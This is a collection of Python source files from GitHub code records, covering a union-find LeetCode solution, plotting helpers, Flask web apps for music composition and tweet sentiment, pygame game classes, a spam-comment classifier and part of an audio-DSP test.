+{"seq_id":"27436296579","text":"# ************************************************\n# username  :   smmehrab\n# fullname  :   s.m.mehrabul islam\n# email     :   smmehrabul-2017614964@cs.du.ac.bd\n# institute :   university of dhaka, bangladesh\n# reg       :   2017614964\n# ************************************************\n\nclass DisjointSet():\n\n    \"\"\"\n        Union Find\n    \"\"\"\n\n    def __init__(self):\n        self.parents = {}\n        self.ranks = {}\n        self.count = 0\n\n    def find(self, u):\n        while u != self.parents[u]: \n            # path compression\n            self.parents[u] = self.parents[self.parents[u]]\n            u = self.parents[u]\n        return u\n\n    def union(self, u, v):\n\n        # new\n        if u not in self.parents:\n            self.parents[u] = u\n            self.ranks[u] = 1\n            self.count += 1\n\n        if v not in self.parents:\n            self.parents[v] = v\n            self.ranks[v] = 1\n            self.count += 1\n\n        # rank optimization\n        root_u = self.find(u)\n        root_v = self.find(v)\n\n        # already connected\n        if root_u == root_v:\n            return True\n\n        # connect\n        if self.ranks[root_u] > self.ranks[root_v]:\n            self.parents[root_v] = root_u\n        elif self.ranks[root_u] < self.ranks[root_v]:\n            self.parents[root_u] = root_v\n        else:\n            self.parents[root_u] = root_v\n            self.ranks[root_v] += 1\n        self.count -= 1\n        return False\n\n    def connected(self, u, v):\n        return self.find(u) == self.find(v)\n\n    def get_count(self):\n        return self.count\n\nclass Solution:\n    def removeStones(self, stones: list[list[int]]) -> int:\n        disjoint_set = DisjointSet()\n        for stone in stones:\n            x, y = stone\n            # x => -(x+1)\n            # y => (y+1)\n            # (+1) to avoid 0\n            disjoint_set.union((-1)*(x+1), y+1)\n        \n        return len(stones) - disjoint_set.get_count()\n","repo_name":"smmehrab/problem-solving","sub_path":"codes/leetcode/MostStonesRemovedwithSameRoworColumn.py","file_name":"MostStonesRemovedwithSameRoworColumn.py","file_ext":"py","file_size_in_byte":1941,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"40968492216","text":"\"\"\"\nBar chart\n===============================================================================\n\n>>> from techminer import *\n>>> directory = \"/workspaces/techminer-api/tests/data/\"\n>>> file_name = \"/workspaces/techminer-api/sphinx/images/bar_chart.png\"\n>>> series = column_indicators(directory, \"countries\").num_documents.head(20)\n>>> darkness = column_indicators(directory, \"countries\").global_citations.head(20)\n>>> title = \"Country scientific productivity\"\n>>> bar_chart(series, darkness, title=title).savefig(file_name)\n\n.. image:: images/bar_chart.png\n    :width: 600px\n    :align: center\n\n\n\"\"\"\n\n\nimport textwrap\n\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n# from techminer.plots.shorten_ticklabels import shorten_ticklabels\n\nTEXTLEN = 29\n\n\ndef bar_chart(\n    series,\n    darkness=None,\n    cmap=\"Greys\",\n    figsize=(6, 6),\n    edgecolor=\"k\",\n    linewidth=0.5,\n    title=None,\n    xlabel=None,\n    ylabel=None,\n    zorder=10,\n):\n    \"\"\"Make a horizontal bar plot.\"\"\"\n    darkness = series if darkness is None else darkness\n    cmap = plt.cm.get_cmap(cmap)\n    if max(darkness) == min(darkness):\n        color = [cmap(0.1) for _ in darkness]\n    else:\n        color = [\n            cmap(0.1 + 0.90 * (d - min(darkness)) / (max(darkness) - min(darkness)))\n            for d in darkness\n        ]\n\n    fig = plt.Figure(figsize=figsize)\n    ax = fig.subplots()\n\n    ax.barh(\n        y=range(len(series)),\n        width=series,\n        edgecolor=edgecolor,\n        linewidth=linewidth,\n        zorder=zorder,\n        color=color,\n    )\n\n    if xlabel is None:\n        xlabel = series.name\n        xlabel = xlabel.replace(\"_\", \" \")\n        xlabel = xlabel.title()\n\n    if ylabel is None:\n        ylabel = series.index.name\n        ylabel = ylabel.replace(\"_\", \" \")\n        ylabel = ylabel.title()\n\n    ax.set_xlabel(xlabel, fontsize=9)\n    ax.set_ylabel(ylabel, fontsize=9)\n\n    yticklabels = series.index\n    if yticklabels.dtype != \"int64\":\n        yticklabels = [\n            textwrap.shorten(\n                text=yticklabels[i],\n                width=TEXTLEN,\n                placeholder=\"...\",\n                break_long_words=False,\n            )\n            for i in range(len(yticklabels))\n        ]\n\n    ax.invert_yaxis()\n    ax.set_yticks(np.arange(len(series)))\n    ax.set_yticklabels(yticklabels)\n\n    for x in [\"top\", \"right\", \"bottom\"]:\n        ax.spines[x].set_visible(False)\n\n    ax.grid(axis=\"x\", color=\"gray\", linestyle=\":\")\n    ax.tick_params(axis=\"x\", labelsize=7)\n    ax.tick_params(axis=\"y\", labelsize=7)\n\n    if title is not None:\n        ax.set_title(\n            title,\n            fontsize=10,\n            color=\"dimgray\",\n            loc=\"left\",\n        )\n\n    fig.set_tight_layout(True)\n\n    return fig\n","repo_name":"jdvelasq/flask-labs","sub_path":"app/techminer/bar_chart.py","file_name":"bar_chart.py","file_ext":"py","file_size_in_byte":2758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"3242089498","text":"\"\"\"\r\nThere are some atheletes running in circular ground,you to find the number of laps completed by each atheletes.You are given with array of integers,which are atheletes,the lap count is equal to count of elements in it.\r\n\r\nIn des\r\nFirst line contain integer N,denotes size of array.\r\nSecond line contain N space separated integers,denotes athelets.\r\n\r\nOt des\r\nPrint the space separated count of each atheletes.\r\n\r\n5\r\n1 2 1 2 3 \r\n\r\n2 2 1\r\n\r\nExp\r\nFrom sample\r\n1 and 2 completed 2 laps,3 completed only 1.\r\n\r\nHint\r\nTraverse the array and find the count of each element in arr.\r\n\r\nH 4\r\nT 2000\r\n\r\n\r\n\"\"\"\r\nN=int(input())\r\narr = list(map(int,input().split()))\r\nans=[]\r\nres=[]\r\nfor i in arr:\r\n    if i not in ans:\r\n        ans.append(i)\r\n        res.append(arr.count(i))\r\nprint(*res)\r\n","repo_name":"govardhananprabhu/DS-task-","sub_path":"lap's completion.py","file_name":"lap's completion.py","file_ext":"py","file_size_in_byte":780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"22652309052","text":"# -*- coding: utf-8 -*-\n\nimport os, config\nfrom functools import wraps\nfrom flask import (\n        Flask, request, json, jsonify,\n        render_template, send_from_directory,\n        session, url_for, redirect\n    )\nfrom flask_oauthlib.client import OAuth\nimport mido\nimport melete.lyrics as Lyrics\nimport melete.rhythm as Rhythm\nimport melete.chord as Chord\nimport melete.melody as Melody\nimport melete.util as Util\n\napp = Flask(__name__)\napp.debug = True\napp.config['SQLALCHEMY_DATABASE_URI'] = config.db_uri\napp.config['TEMPLATE_FOLDER'] = config.dirs['template']\napp.config['STATIC_FOLDER'] = config.dirs['static']\napp.config['MEDIA_FOLDER'] = config.dirs['media']\napp.config['ICONS_FOLDER'] = config.dirs['icons']\napp.config['SECRET_KEY'] = config.secret_key\n\n# init dirs\nif not os.path.exists(app.config['MEDIA_FOLDER']):\n    os.makedirs(app.config['MEDIA_FOLDER'])\nif not os.path.exists(app.config['ICONS_FOLDER']):\n    os.makedirs(app.config['ICONS_FOLDER'])\n\n# router utils\nfrom melete.models import *\nfrom melete.login_util import *\n\ndef get_user_name():\n    return session['user_name'] if 'user_name' in session else None\n\ndef get_icon(user_id):\n    login_icon_path = None\n    if user_id:\n        login_user = Users.query.filter_by(id=user_id).first()\n        if login_user and login_user.icon_path:\n            login_icon_path = login_user.icon_path\n    return login_icon_path\n\ndef get_login_icon():\n    return get_icon(session['user_id']) if 'user_id' in session else None\n\n# resource\n@app.route('/media/<path>')\ndef media(path):\n    return send_from_directory(app.config['MEDIA_FOLDER'], path)\n\n@app.route('/icons/<path>')\ndef icons(path):\n    return send_from_directory(app.config['ICONS_FOLDER'], path)\n\n# router\n@app.route('/')\ndef index():\n    if 'user_id' not in session:\n        return redirect(url_for('login'))\n\n    rhythms = [Rhythms.query.get(1)]\n    stared_rhythms = StaredRhythms.query.filter_by(user_id=session['user_id']).all()\n    for sr in stared_rhythms:\n        rhythms += [sr.rhythms]\n\n    chords = [Chords.query.get(1)]\n    stared_chords = StaredChords.query.filter_by(user_id=session['user_id']).all()\n    for sc in stared_chords:\n        chords += [sc.chords]\n\n    return render_template(\n        'index.html',\n        login_icon_path=get_login_icon(),\n        user_name=get_user_name(),\n        rhythms=rhythms,\n        chords=chords\n    )\n\n@app.route('/watch/<int:id>')\ndef watch(id):\n    music = Musics.query.filter_by(id=id).first()\n    data = json.loads(music.data)\n    lyrics = map(lambda t: t['lyric'], data)\n\n    media_path = music.media_path + '.mp3' if music.media_path else None\n    icon_path = get_icon(music.user_id)\n\n    return render_template(\n        'watch.html',\n        login_icon_path=get_login_icon(),\n        user_name=get_user_name(),\n        title=music.name,\n        lyrics=lyrics,\n        media_path=media_path,\n        icon_path=icon_path\n    )\n\n@app.route('/users/<name>')\ndef users(name):\n    user = Users.query.filter_by(name=name).first()\n    musics = Musics.query.order_by(Musics.id.desc()).filter_by(user_id=user.id).limit(20).all()\n    return render_template(\n        'user.html',\n        login_icon_path=get_login_icon(),\n        user_name=get_user_name(),\n        user=user,\n        musics=musics\n    )\n\n@app.route('/rhythm_creator')\ndef rhythm_creator():\n    return render_template('rhythm_creator.html')\n\n@app.route('/rhythms/<int:id>')\ndef rhythms(id):\n    rhythm = Rhythms.query.get(id)\n\n    if not rhythm:\n        return ('', 500)\n\n    return render_template(\n        'rhythm.html',\n        login_icon_path=get_login_icon(),\n        user_name=get_user_name(),\n        rhythm=rhythm\n    )\n\n@app.route('/chords/<int:id>')\ndef chords(id):\n    pass\n\n@app.route('/accoms/<int:id>')\ndef accoms(id):\n    pass\n\n@app.route('/ranking')\ndef ranking():\n    pass\n\n@app.route('/new_entry')\ndef new_entry():\n    musics = Musics.query.order_by(Musics.id.desc()).limit(20).all()\n\n    return render_template(\n        'new_entry.html',\n        login_icon_path=get_login_icon(),\n        user_name=get_user_name(),\n        musics=musics\n    )\n\n@app.route('/login')\ndef login():\n    return render_template('login.html')\n\n@app.route('/sign_up', methods=['GET', 'POST'])\ndef sign_up():\n    if request.method == 'POST':\n        if 'twitter_oauth' in session:\n            res = session['twitter_oauth']\n\n            user = Users.query.filter_by(twitter_id=res['user_id']).first()\n            if user is not None:\n                return redirect(url_for('index'))\n\n            name = request.form['name']\n            user = Users.query.filter_by(name=name).first()\n            if user is not None:\n                return redirect(url_for('sign_up'))\n\n            user = Users(name, res['screen_name'])\n            user.twitter_id = res['user_id']\n\n            icon_path = Util.save_twitter_icon(\n                twitter,\n                app.config['ICONS_FOLDER'],\n                res['screen_name'], res['user_id']\n            )\n            if icon_path:\n                user.icon_path = icon_path\n\n            db.session.add(user)\n            db.session.commit()\n\n            session['user_id'] = user.id\n        return redirect(url_for('index'))\n    else:\n        return render_template('sign_up.html')\n\n@app.route('/logout')\n@login_required\ndef logout():\n    session.pop('twitter_oauth', None)\n    session.pop('user_id', None)\n    session.pop('user_name', None)\n    return redirect(url_for('index'))\n\n@app.route('/terms_of_use')\ndef terms_of_use():\n    return render_template('terms_of_use.html')\n\n# API\n@app.route('/analyze_lyrics', methods=['POST'])\n@login_required\ndef analyze_lyrics():\n    return jsonify({'tunes': Lyrics.analyze(request.form['text'])})\n\n@app.route('/compose', methods=['POST'])\n@login_required\ndef compose():\n    try:\n        user_id = session['user_id']\n        title = request.form['title']\n        data = json.loads(request.form['data'])\n\n        if not isinstance(data, list):\n            return 'Error'\n\n        with mido.MidiFile(ticks_per_beat=48, charset='utf-8') as midi:\n            for tune in data:\n                pass\n                ts = Rhythm.TimeSignature(int(tune['nn']), int(tune['dd']))\n                chord_id = tune['chord_id']\n                chords_db = Chords.query.filter_by(id=chord_id).first()\n                if not chords_db:\n                    return ('Chords DB Error', 500)\n                prog = Chord.ChordProg.from_dict(json.loads(chords_db.data))\n\n                rhythm_id = tune['rhythm_id']\n                rhythms_db = Rhythms.query.filter_by(id=rhythm_id).first()\n                if not rhythms_db:\n                    return ('Rhythms DB Error', 500)\n                rhythm_tree = Rhythm.RhythmTree.from_dict(json.loads(rhythms_db.data))\n\n                note_range = range(int(tune['min_note']), int(tune['max_note']))\n                skip_prob = float(tune['skip_prob'])\n                bpm = int(tune['bpm'])\n\n                bars = Lyrics.divide(tune['phoneme'], rhythm_tree)\n                beats = Lyrics.pair(bars, rhythm_tree)\n\n                composer = Melody.Composer(ts, beats, prog, note_range, skip_prob, bpm)\n                midi = Melody.concat_midi(midi, composer.compose())\n\n        savepath = Util.random_string(16)\n        midi.save(app.config['MEDIA_FOLDER'] + '/' + savepath + '.mid')\n        os.system('timidity %s.mid -Ow -o - | lame - -b 64 %s.mp3' % (app.config['MEDIA_FOLDER'] + '/' + savepath, app.config['MEDIA_FOLDER'] + '/' + savepath))\n\n        music = Musics(title, savepath, request.form['data'], user_id)\n        db.session.add(music)\n        db.session.commit()\n    except ValueError as e:\n        return ('Error: %s' % e, 500)\n    except KeyError as e:\n        return ('Error: %s' % e, 500)\n    return (jsonify({'music_id': music.id}), 200)\n\n@app.route('/rhythm', methods=['POST'])\n@login_required\ndef rhythm():\n    try:\n        user_id = session['user_id']\n        data = json.loads(request.form['data'])\n        ts = Rhythm.TimeSignature(int(data['nn']), int(data['dd']))\n        tree = Rhythm.RhythmTree(int(data['division']), int(data['time']), ts, data['patterns'])\n        rhythm = Rhythms(request.form['title'], json.dumps(tree.to_dict()), user_id)\n        db.session.add(rhythm)\n        db.session.commit()\n\n        # とりあえず作ったリズムをStarしていく運用\n        sr = StaredRhythms(rhythm.id, user_id)\n        db.session.add(sr)\n        db.session.commit()\n    except ValueError as e:\n        return ('Error: %s' % e, 500)\n    return (jsonify({'rhythm_id': rhythm.id}), 200)\n\n@app.route('/star_rhythm', methods=['POST'])\n@login_required\ndef star_rhythm():\n    user_id = session['user_id']\n    rhythm_id = int(request.form['rhythm_id'])\n\n    rhythm = Rhythms.query.get(rhythm_id)\n    if not rhythm:\n        return ('', 500)\n\n    ex_sr = StaredRhythms.query.filter_by(rhythms_id=rhythm_id).filter_by(user_id=user_id).first()\n    if ex_sr:\n        db.session.delete(ex_sr)\n        db.session.commit()\n        return ('', 200)\n\n    sr = StaredRhythms(rhythm_id, user_id)\n    db.session.add(sr)\n    db.session.commit()\n\n    return ('', 200)\n\nif __name__ == '__main__':\n    manager.run()\n","repo_name":"kvvzr/Melete","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":9172,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"77"}
+{"seq_id":"73430450489","text":"from struct import unpack\nimport pygame\nimport math\n\nfrom map_array import map_array\nimport protocol\nimport options\n\n\nclass Player:\n\tdef __init__(self, x, y, world, player_id, connexion=None):\n\t\tself.conn = connexion\n\t\tself.x = x\n\t\tself.y = y\n\t\tself.angle = 0\n\t\tself.world = world\n\t\tself.id = player_id\n\t\tself.color = options.PLAYER_COLOR[player_id]\n\t\tself.freeze = False\n\t\tself.last_pos = None\n\t\tself.speed = options.SPEED\n\t\tself.turn_speed = options.TURN_SPEED\n\t\tself.rayon = 12\n\n\tdef send(self, data, no_out=False):\n\t\t\"\"\"\n\t\tuse the connexion object of the player to send packets\n\t\tOnly the server uses this method\n\t\t\"\"\"\n\t\ttry:\n\t\t\tself.conn.send(data)\n\t\t\treturn True\n\t\texcept Exception as e:\n\t\t\tif not no_out:\n\t\t\t\tprint(f\"A network occured: {e}\")\n\t\t\treturn False\n\t\n\tdef recv(self, size=protocol.PACKET_SIZE):\n\t\t\"\"\"\n\t\tuse the connexion object of the player to receive incoming packets\n\t\tOnly the server uses this method\n\t\t\"\"\"\n\t\tif self.conn is not None:\n\t\t\treturn self.conn.recv(size)\n\t\telse:\n\t\t\traise Exception(\"Player connection is None\")\n\n\tdef move(self, x, y, angle):\n\t\t\"\"\"\n\t\tjust move\n\t\t\"\"\"\n\t\tself.x = x\n\t\tself.y = y\n\t\tself.angle = angle\n\n\tdef player_freeze(self):\n\t\t\"\"\"\n\t\tidk what's the point of that but yeah you can't move and your purple\n\t\t\"\"\"\n\t\tself.freeze = True\n\t\tself.color = options.COLORS[\"purple\"]\n\n\n\tdef handle_movement(self):\n\t\t\"\"\"\n\t\tThis is client sided, we are using the keys of the keyboard to move\n\t\t\"\"\"\n\t\tif self.freeze:\n\t\t\treturn\n\t\n\t\tkeys = pygame.key.get_pressed()\n\n\t\tif keys[pygame.K_d]:\n\t\t\tnext_angle = round(self.angle + self.turn_speed, 2)\n\t\t\tif self.angle <= round(math.pi*2, 2) <= next_angle:\n\t\t\t\tnext_angle = next_angle - round(math.pi*2, 2)\n\t\t\tself.angle = next_angle\n\n\t\tif keys[pygame.K_q]:\n\t\t\tnext_angle = round(self.angle - self.turn_speed, 2)\n\t\t\tif self.angle >= -round(math.pi*2, 2) >= next_angle:\n\t\t\t\tnext_angle = next_angle + round(math.pi*2, 2)\n\t\t\tself.angle = next_angle\n\n\t\tif keys[pygame.K_z]:\n\t\t\tnext_x = self.x + round(self.speed * math.cos(self.angle))  # thanks for the maths internet\n\t\t\tnext_y = self.y + round(self.speed * math.sin(self.angle))  # note: don't invert sin and cos\n\t\t\tif map_array[int(next_y / options.TILE)][int(next_x / options.TILE)]:\n\t\t\t\t# if we're going into a wall,\n\t\t\t\t# we dont go into the wall.\n\t\t\t\tif not map_array[int(self.y / options.TILE)][int(next_x / options.TILE)]:\n\t\t\t\t\tself.x = next_x\n\t\t\t\telif not map_array[int(next_y / options.TILE)][int(self.y / options.TILE)]:\n\t\t\t\t\tself.y = next_y\n\t\t\t\telse:\n\t\t\t\t\tpass\n\t\t\telse:\n\t\t\t\tself.x = next_x\n\t\t\t\tself.y = next_y\n\n\t\tif keys[pygame.K_s]:\n\t\t\tnext_x = self.x - round(self.speed * math.cos(self.angle))\n\t\t\tnext_y = self.y - round(self.speed * math.sin(self.angle))\n\t\t\tif map_array[int(next_y / options.TILE)][int(next_x / options.TILE)]:\n\t\t\t\t# if we're going into a wall,\n\t\t\t\t# we dont go into the wall.\n\t\t\t\tif not map_array[int(self.y / options.TILE)][int(next_x / options.TILE)]:\n\t\t\t\t\tself.x = next_x\n\t\t\t\telif not map_array[int(next_y / options.TILE)][int(self.y / options.TILE)]:\n\t\t\t\t\tself.y = next_y\n\t\t\t\telse:\n\t\t\t\t\tpass\n\t\t\telse:\n\t\t\t\tself.x = next_x\n\t\t\t\tself.y = next_y\n\n\t\tif keys[pygame.K_SPACE]:\n\t\t\tself.send(protocol.CLIENT_FREEZE(self.id, self.x, self.y, self.angle))\n\n\n\tdef draw(self, win):\n\t\t\"\"\"\n\t\tDraw the player on screen\n\t\tOnly the client uses that\n\t\t\"\"\"\n\t\tpygame.draw.circle(win, self.color, [self.x, self.y], self.rayon)\n\t\tpygame.draw.line(win, self.color, [self.x, self.y], (self.x + 20 * math.cos(self.angle), self.y + 20 * math.sin(self.angle)), 8)\n\t\t# ^ draw the line of direction with some fancy math calc\n\n\tdef handle_update(self, player_id, new_x, new_y, new_angle):\n\t\t\"\"\"\n\t\thandle a CLIENT_UPDATE or a SERVER_UPDATE\n\t\tboth client and server uses this method\n\t\t\"\"\"\n\t\tif player_id == self.id:\n\t\t\tself.move(new_x, new_y, new_angle)\n\t\telse:\n\t\t\topponent = self.world.get_player_from_id(player_id)\n\t\t\tif opponent is None:\n\t\t\t\tself.world.players.append(Player(new_x, new_y, self.world, player_id))\n\t\t\t\tself.world.players[len(self.world.players) - 1].last_pos = [new_x, new_y, new_angle]\n\t\t\telse:\n\t\t\t\tif abs(new_y - opponent.last_pos[1]) > 100:\n\t\t\t\t\tnew_y = new_y // 10\n\t\t\t\topponent.last_pos = (opponent.x, opponent.y, opponent.angle)\n\t\t\t\topponent.move(new_x, new_y, new_angle)\n\t\t\t\tprint(\"Ennemy moved, \", new_x, new_y, new_angle)\n\n\nclass World:\n\tdef __init__(self, limit=5):\n\t\t# flemme de faire des commentaires pour le reste du fichier\n\t\t# c'est pas très intéressant c'est un monde et des murs en gros\n\t\tif limit > len(options.PLAYER_COLOR):\n\t\t\traise Exception(\"World limit should not be greater than options.PLAYER_COLOR\")\n\t\tself.limit = limit\n\t\tself.players = []\n\t\tself.next_id = 0\n\t\tself.alive = True\n\t\tself.walls = []\n\t\tself.walls_cord = []\n\n\tdef init_walls(self):\n\t\tfor y, row in enumerate(map_array):\n\t\t\tfor x, tile in enumerate(row):\n\t\t\t\tif tile:\n\t\t\t\t\tself.walls_cord.append((x, y))\n\t\t\t\t\tself.walls.append(Wall((x * options.TILE, y * options.TILE)))\n\n\tdef get_player_from_id(self, player_id):\n\t\tfor player in self.players:\n\t\t\tif player.id == player_id:\n\t\t\t\treturn player\n\t\treturn None\n\n\tdef remove_player_from_id(self, player_id):\n\t\tself.next_id = player_id\n\t\tplayer = self.get_player_from_id(player_id)\n\t\tif player.conn is not None:\n\t\t\tplayer.conn.close()\n\t\tself.players.remove(player)\n\t\tif len(self.players) == 0 and self.next_id != 0:\n\t\t\tself.next_id = 0\n\n\tdef is_full(self):\n\t\treturn len(self.players) == self.limit\n\n\nclass Wall:\n\tdef __init__(self, cord: tuple):\n\t\tself.x = cord[0]\n\t\tself.y = cord[1]\n\t\tself.color = options.COLORS['black']\n\t\tself.size = options.TILE\n\n\tdef draw(self, win):\n\t\twin.fill(self.color, pygame.Rect(self.x, self.y, self.size, self.size))","repo_name":"GammaRay99/linux-reseau-leo","sub_path":"reseau/tp5/src/classes.py","file_name":"classes.py","file_ext":"py","file_size_in_byte":5613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"6234359419","text":"from flask import Flask, render_template, redirect, request\nimport pickle,re\nimport time \nfrom tensorflow import keras\nimport tensorflow as tf\nfrom tensorflow import keras\nfrom keras.preprocessing.sequence import pad_sequences\napp = Flask(__name__)\nSENTIMENT_THRESHOLDS = (0.4, 0.7)\nSEQUENCE_LENGTH = 200\nPOSITIVE = \"POSITIVE\"\nNEGATIVE = \"NEGATIVE\"\nNEUTRAL = \"NEUTRAL\"\n\ndef decode_sentiment(score, include_neutral=True):\n    if include_neutral:        \n        label = NEUTRAL\n        if score <= SENTIMENT_THRESHOLDS[0]:\n            label = NEGATIVE\n        elif score >= SENTIMENT_THRESHOLDS[1]:\n            label = POSITIVE\n\n        return label\n    else:\n        return NEGATIVE if score < 0.5 else POSITIVE\n\ndef predictNew(modelNew, tokenizerNew,text, include_neutral=True):\n    #start_at = time.time()\n    # Tokenize text\n    x_test = pad_sequences(tokenizerNew.texts_to_sequences([text]), maxlen=SEQUENCE_LENGTH)\n    # Predict\n    score = modelNew.predict([x_test])[0]\n    # Decode sentiment\n    label = decode_sentiment(score, include_neutral=include_neutral)\n\n    return { label, float(score)}  \n\n\n@app.route('/')\ndef home():\n    return render_template('index.html')\n\n@app.route('/', methods = ['GET','POST'])\ndef tweetSentiment():\n    if request.method == 'POST':\n        tweet = str(request.form['yourtweet'])\n        if len(tweet) == 0:\n            return render_template('index.html', yourtweet = 'Enter the tweet first')\n        tokenizerNew = pickle.load(open('tokenizer.pkl', 'rb' ))\n        encoder = pickle.load(open('encoder.pkl','rb' ))\n        modelNew = keras.models.load_model('model.h5')\n        thistuple = [score, sentiment]  = predictNew(modelNew, tokenizerNew, tweet)\n        \n        print(type(sentiment), type(score))\n        sentiment = ''\n        for x in thistuple:\n            if type(x) == str:\n                sentiment = x\n        finaltweet = \"Your tweet \" +\"' \"+ tweet +\" '\"+\" is a \" + sentiment[0].upper() + sentiment[1:].lower() + \" tweet \" + \"with score \"  + str(score) + \".\"\n    return render_template('index.html', yourtweet = finaltweet)\n\n\nif __name__ == '__main__':\n    app.run(debug = False)","repo_name":"Aryavir07/Twitter-Sentiment-Analysis-Using-LSTM","sub_path":"Deployment/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2139,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"4252711852","text":"from django.conf.urls import url\n\nfrom .views import (vote, logout, registration,\n                    registration_thanks, set_language)\n\nurlpatterns = [\n    url(r'^vote/(?P<app>[\\w\\-\\_]+)/(?P<model>[\\w\\_]+)/(?P<pk>\\d+)/(?P<vote>(-?[01]))/$', vote, name='vote'),\n    url(r'^logout/$', logout, name='logout'),\n    #url(r'^accounts/registration/$', registration, name='registration'),\n    #url(r'^accounts/registration_thanks/$', registration_thanks,\n    #                                        name='registration-thanks'),\n    url(r'^language/(?P<lang>[a-z]{2})', set_language, name='set-language'),\n]\n","repo_name":"maximst/trambroid","sub_path":"apps/core/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"73200909368","text":"\r\nimport pandas as pd\r\nd = pd.read_csv(\"YouTube-Spam-Collection-v1/Youtube01-Psy.csv\")\r\n\r\nfrom sklearn.feature_extraction.text import CountVectorizer\r\nvectorizer = CountVectorizer()\r\n\r\ndvec = vectorizer.fit_transform(d['CONTENT'])\r\n\r\ndshuf = d.sample(frac=1)\r\nd_train = dshuf[:300]\r\nd_test = dshuf[300:]\r\nd_train_att = vectorizer.fit_transform(d_train['CONTENT']) # fit bag-of-words on training set\r\nd_test_att = vectorizer.transform(d_test['CONTENT']) # reuse on testing set\r\nd_train_label = d_train['CLASS']\r\nd_test_label = d_test['CLASS']\r\n\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nclf = RandomForestClassifier(n_estimators=80)\r\n\r\nclf.fit(d_train_att, d_train_label)\r\n\r\nprint(clf.score(d_test_att, d_test_label))\r\n\r\nfrom sklearn.metrics import confusion_matrix\r\npred_labels = clf.predict(d_test_att)\r\nprint(confusion_matrix(d_test_label, pred_labels))\r\n\r\nfrom sklearn.model_selection import cross_val_score\r\nscores = cross_val_score(clf, d_train_att, d_train_label, cv=5)\r\n# show average score and +/- two standard deviations away (covering 95% of scores)\r\nprint(\"Accuracy: %0.2f (+/- %0.2f)\" % (scores.mean(), scores.std() * 2))\r\n\r\n# load all datasets and combine them\r\nd = pd.concat([pd.read_csv(\"YouTube-Spam-Collection-v1/Youtube01-Psy.csv\"),\r\n               pd.read_csv(\"YouTube-Spam-Collection-v1/Youtube02-KatyPerry.csv\"),\r\n               pd.read_csv(\"YouTube-Spam-Collection-v1/Youtube03-LMFAO.csv\"),\r\n               pd.read_csv(\"YouTube-Spam-Collection-v1/Youtube04-Eminem.csv\"),\r\n               pd.read_csv(\"YouTube-Spam-Collection-v1/Youtube05-Shakira.csv\")])\r\n\r\ndshuf = d.sample(frac=1)\r\nd_content = dshuf['CONTENT']\r\nd_label = dshuf['CLASS']\r\n\r\n# set up a pipeline\r\nfrom sklearn.pipeline import Pipeline, make_pipeline\r\npipeline = Pipeline([\r\n    ('bag-of-words', CountVectorizer()),\r\n    ('random forest', RandomForestClassifier()),\r\n])\r\npipeline\r\n\r\npipeline.fit(d_content[:1500],d_label[:1500])\r\n\r\nprint(pipeline.score(d_content[1500:], d_label[1500:]))\r\n\r\nprint(pipeline.predict([\"what a neat video!\"]))\r\n\r\nprint(pipeline.predict([\"plz subscribe to my channel\"]))\r\n\r\nscores = cross_val_score(pipeline, d_content, d_label, cv=5)\r\nprint(\"Accuracy: %0.2f (+/- %0.2f)\" % (scores.mean(), scores.std() * 2))\r\n\r\n# add tfidf\r\nfrom sklearn.feature_extraction.text import TfidfTransformer\r\npipeline2 = make_pipeline(CountVectorizer(),\r\n                          TfidfTransformer(norm=None),\r\n                          RandomForestClassifier())\r\n\r\nscores = cross_val_score(pipeline2, d_content, d_label, cv=5)\r\nprint(\"Accuracy: %0.2f (+/- %0.2f)\" % (scores.mean(), scores.std() * 2))\r\n\r\n# parameter search\r\nparameters = {\r\n    'countvectorizer__max_features': (None, 1000, 2000),\r\n    'countvectorizer__ngram_range': ((1, 1), (1, 2)),  # unigrams or bigrams\r\n    'countvectorizer__stop_words': ('english', None),\r\n    'tfidftransformer__use_idf': (True, False), # effectively turn on/off tfidf\r\n    'randomforestclassifier__n_estimators': (20, 50, 100)\r\n}\r\nfrom sklearn.model_selection import GridSearchCV\r\ngrid_search = GridSearchCV(pipeline2, parameters, n_jobs=-1, verbose=1)\r\n\r\ngrid_search.fit(d_content, d_label)\r\n\r\nprint(\"Best score: %0.3f\" % grid_search.best_score_)\r\nprint(\"Best parameters set:\")\r\nbest_parameters = grid_search.best_estimator_.get_params()\r\nfor param_name in sorted(parameters.keys()):\r\n    print(\"\\t%s: %r\" % (param_name, best_parameters[param_name]))\r\n\r\n","repo_name":"PacktPublishing/-Python-Artificial-Intelligence-Projects-for-Beginners","sub_path":"Section 3/SpamDetector.py","file_name":"SpamDetector.py","file_ext":"py","file_size_in_byte":3402,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"77"}
+{"seq_id":"20348356331","text":"from unittest import TestCase\nimport numpy as np\nimport scipy.signal as signal\n\nimport audio_dspy as adsp\n\n_fs_ = 44100\n\n\nclass TestFarina(TestCase):\n    def setUp(self):\n        g = adsp.delay_feedback_gain_for_t60(1, _fs_, 0.5)\n        self.N = int(0.6 * _fs_)\n\n        np.random.seed(0x2345)\n        self.test_filt = adsp.normalize(\n            np.random.randn(self.N) * g**np.arange(self.N))\n        self.lin_sys = lambda sig: signal.convolve(sig, self.test_filt)\n        self.nonlin_sys = lambda sig: signal.convolve(\n            adsp.soft_clipper(1.1*sig, deg=9), self.test_filt)\n\n    def test_inverse_probe_freq(self):\n        far = adsp.Farina(10, _fs_)\n        delta = signal.convolve(far.probe, far.inv_probe)\n\n        freqs = np.fft.rfftfreq(len(delta), 1.0/_fs_)\n        start = np.argwhere(freqs > 100)[0][0]\n        end = np.argwhere(freqs < 16000)[-1][0]\n\n        delta_fft = 20 * \\\n            